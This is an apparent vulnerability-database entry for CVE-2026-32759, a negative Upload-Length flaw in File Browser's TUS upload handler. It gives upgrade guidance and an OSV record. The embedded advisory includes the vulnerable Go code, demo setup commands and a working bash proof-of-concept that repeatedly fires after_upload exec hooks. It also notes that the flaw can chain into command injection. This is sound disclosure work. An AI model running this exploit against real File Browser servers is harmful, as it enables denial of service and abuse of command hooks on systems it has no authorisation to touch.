CVE-2026-32759: Github.com/filebrowser/filebrowser/v2 File Browser TUS Negative Upload-Length Vulnerability
MODERATECVE-2026-32759 is a MODERATE file browser tus negative upload-length vulnerability (CWE-190: Integer Overflow or Wraparound) affecting Github.com/filebrowser/filebrowser/v2 libraries in the Go ecosystem. The issue involves file browser tus negative upload-length fires post-upload hooks prematurely. Remediation is available by upgrading affected packages to version 2.33.8.
CVE-2026-32759 at a Glance
How to Fix CVE-2026-32759
To remediate this vulnerability, upgrade all affected Github.com/filebrowser/filebrowser/v2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/filebrowser/filebrowser/v2 to 2.33.8
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/filebrowser/filebrowser/v2
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-32759, inspect your project dependencies for Github.com/filebrowser/filebrowser/v2:
inspect dependencies for github.com/filebrowser/filebrowser/v2
Analyze the terminal output to locate any version of Github.com/filebrowser/filebrowser/v2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.33.8), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-190: Integer Overflow or Wraparound, where the product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. this occurs when an integer value is incremented to a value that is too large to store in the associated representation. when this occurs, the value may become a very small or negative number. In Github.com/filebrowser/filebrowser/v2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-32759 Affected Github.com/filebrowser/filebrowser/v2 Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/filebrowser/filebrowser/v2
|
Go |
< 2.33.8
|
2.33.8
|
References
Frequently Asked Questions
What is CVE-2026-32759?
Which Github.com/filebrowser/filebrowser/v2 versions are affected?
What version fixes CVE-2026-32759?
Is github.com/filebrowser/filebrowser/v2 affected?
What CWE is associated with CVE-2026-32759?
How can I check Go dependencies for CVE-2026-32759?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-ffx7-75gc-jg7c",
"modified" : "2026-06-09T11:51:25Z",
"published" : "2026-03-16T20:43:29Z",
"aliases" : [ "CVE-2026-32759" ],
"summary" : "File Browser TUS Negative Upload-Length Fires Post-Upload Hooks Prematurely",
"details" : "> [!NOTE]\n> **This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations**. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed.\n>\n> For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199.\n\n## Summary\nThe TUS resumable upload handler parses the Upload-Length header as a signed 64-bit integer without validating that the value is non-negative. When a negative value is supplied (e.g. -1), the first PATCH request immediately satisfies the completion condition (newOffset >= uploadLength --> 0 >= -1), causing the server to fire after_upload exec hooks with a partial or empty file. An authenticated user with upload permission can trigger any configured after_upload hook an unlimited number of times for any filename they choose, regardless of whether the file was actually uploaded - with zero bytes written.\n\n## Details\n\n**Affected file:** http/tus_handlers.go\n\n**Vulnerable code - POST (register upload):**\n```go\nfunc getUploadLength(r *http.Request) (int64, error) {\n uploadOffset, err := strconv.ParseInt(r.Header.Get(\"Upload-Length\"), 10, 64)\n if err != nil {\n return 0, fmt.Errorf(\"invalid upload length: %w\", err)\n }\n return uploadOffset, nil\n}\n\nuploadLength, err := getUploadLength(r)\ncache.Register(file.RealPath(), uploadLength)\n```\n\n**Vulnerable code - PATCH (write chunk):**\n```go\nnewOffset := uploadOffset + bytesWritten \nif newOffset >= uploadLength { \n cache.Complete(file.RealPath())\n _ = d.RunHook(func() error { return nil }, \"upload\", r.URL.Path, \"\", d.user)\n}\n```\n\n**The completion check uses signed comparison.** Any negative uploadLength is always less than newOffset ( which starts at 0 ), so the hook fires on the very first PATCH regardless of how many bytes were sent.\n\n**Consequence:** An attacker with upload permission can:\n1. Initiate a TUS upload for any filename with Upload-Length: -1\n2. Send a PATCH with an empty body ( Upload-Offset: 0 )\n3. after_upload hook fires immediately with a 0-byte (or partial) file\n4. Repeat indefinitely - each POST+PATCH cycle re-fires the hook\n\nIf exec hooks are enabled and perform important operations on uploaded files (virus scanning, image processing, notifications, data pipeline ingestion), they will be triggered with attacker-controlled filenames and empty file contents.\n\n## Demo Server Setup\n\n```bash\ndocker run -d --name fb-tus \\\n -p 8080:80 \\\n -v /tmp/fb-tus:/srv \\\n -e FB_EXECER=true \\\n filebrowser/filebrowser:v2.31.2\n\nADMIN_TOKEN=$(curl -s -X POST http://localhost:8080/api/login \\\n -H 'Content-Type: application/json' \\\n -d '{\"username\":\"admin\",\"password\":\"admin\"}')\n\ncurl -s -X PUT http://localhost:8080/api/settings \\\n -H \"X-Auth: $ADMIN_TOKEN\" \\\n -H 'Content-Type: application/json' \\\n -d '{\n \"commands\": {\n \"after_upload\": [\"bash -c \\\"echo HOOK_FIRED: $FILE $(date) >> /tmp/hook_log.txt\\\"\"]\n }\n }'\n```\n\n## PoC Exploit\n\n```bash\n#!/bin/bash\n\nTARGET=\"http://localhost:8080\"\n\nTOKEN=$(curl -s -X POST \"$TARGET/api/login\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"username\":\"attacker\",\"password\":\"Attack3r!pass\"}')\n\necho \"[*] Token: ${TOKEN:0:40}...\"\n\nFILENAME=\"/trigger_test_$(date +%s).txt\"\n\necho \"[*] Step 1: POST TUS upload with Upload-Length: -1\"\ncurl -s -X POST \"$TARGET/api/tus$FILENAME\" \\\n -H \"X-Auth: $TOKEN\" \\\n -H \"Upload-Length: -1\" \\\n -H \"Content-Length: 0\" \\\n -v 2>&1 | grep -E \"HTTP|Location\"\n\necho \"\"\necho \"[*] Step 2: PATCH with empty body (uploadOffset=0 >= uploadLength=-1 → hook fires)\"\ncurl -s -X PATCH \"$TARGET/api/tus$FILENAME\" \\\n -H \"X-Auth: $TOKEN\" \\\n -H \"Upload-Offset: 0\" \\\n -H \"Content-Type: application/offset+octet-stream\" \\\n -H \"Content-Length: 0\" \\\n -v 2>&1 | grep -E \"HTTP|Upload\"\n\necho \"\"\necho \"[*] Checking hook log on server (/tmp/hook_log.txt)...\"\necho \"[*] If hook fired, you will see entries like:\"\necho \" HOOK_FIRED: /srv/trigger_test_XXXX.txt <timestamp>\"\n\necho \"\"\necho \"[*] Repeating 5 times to demonstrate unlimited hook triggering...\"\nfor i in $(seq 1 5); do\n FNAME=\"/spam_hook_$i.txt\"\n curl -s -X POST \"$TARGET/api/tus$FNAME\" \\\n -H \"X-Auth: $TOKEN\" \\\n -H \"Upload-Length: -1\" \\\n -H \"Content-Length: 0\" > /dev/null\n \n curl -s -X PATCH \"$TARGET/api/tus$FNAME\" \\\n -H \"X-Auth: $TOKEN\" \\\n -H \"Upload-Offset: 0\" \\\n -H \"Content-Type: application/offset+octet-stream\" \\\n -H \"Content-Length: 0\" > /dev/null\n \n echo \" Hook trigger $i sent\"\ndone\necho \"[*] Done - 5 hooks fired with 0 bytes uploaded.\"\n```\n\n## Impact\n\n**Exec Hook Abuse (when enableExec = true):**\n\nAn attacker can trigger any after_upload exec hook an unlimited number of times with attacker-controlled filenames and empty file contents. Depending on the hook's purpose, this enables:\n\n- **Denial of Service:**\n\nTriggering expensive processing hooks ( virus scanning, transcoding, ML inference ) with zero cost on the attacker's side.\n\n- **Command Injection amplification:**\n\nCombined with the hook injection vulnerability (malicious filename + shell-wrapped hook), each trigger becomes a separate RCE.\n\n- **Business logic abuse:** \n\nTriggering upload-driven workflows ( S3 ingestion, database inserts, notifications ) with empty payloads or arbitrary filenames.\n\n**Hook-free impact:**\n\nEven without exec hooks, a negative Upload-Length creates an inconsistent cache entry. The file is marked \"complete\" in the upload cache immediately, but the underlying file may be 0 bytes. Any subsequent read expecting a complete file will receive an empty file.\n\n**Who is affected:**\n\nAll deployments using the TUS upload endpoint (`/api/tus`). The `enableExec` flag amplifies the impact from cache inconsistency to remote command execution.\n\n## Resolution\n\nThis vulnerability has not been addressed, and has been added to the issue where we're tracking all security vulnerabilities regarding the command execution (https://github.com/filebrowser/filebrowser/issues/5199). Command execution is disabled by default for all installations and users are warned if they enable it. This feature is not to be used in untrusted environments and we recommend to not use it.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/filebrowser/filebrowser/v2"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "2.33.8"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-ffx7-75gc-jg7c"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-32759"
}, {
"type" : "WEB",
"url" : "https://github.com/filebrowser/filebrowser/issues/5199"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/filebrowser/filebrowser"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-190", "CWE-20" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-16T20:43:29Z",
"nvd_published_at" : "2026-03-20T00:16:17Z"
}
}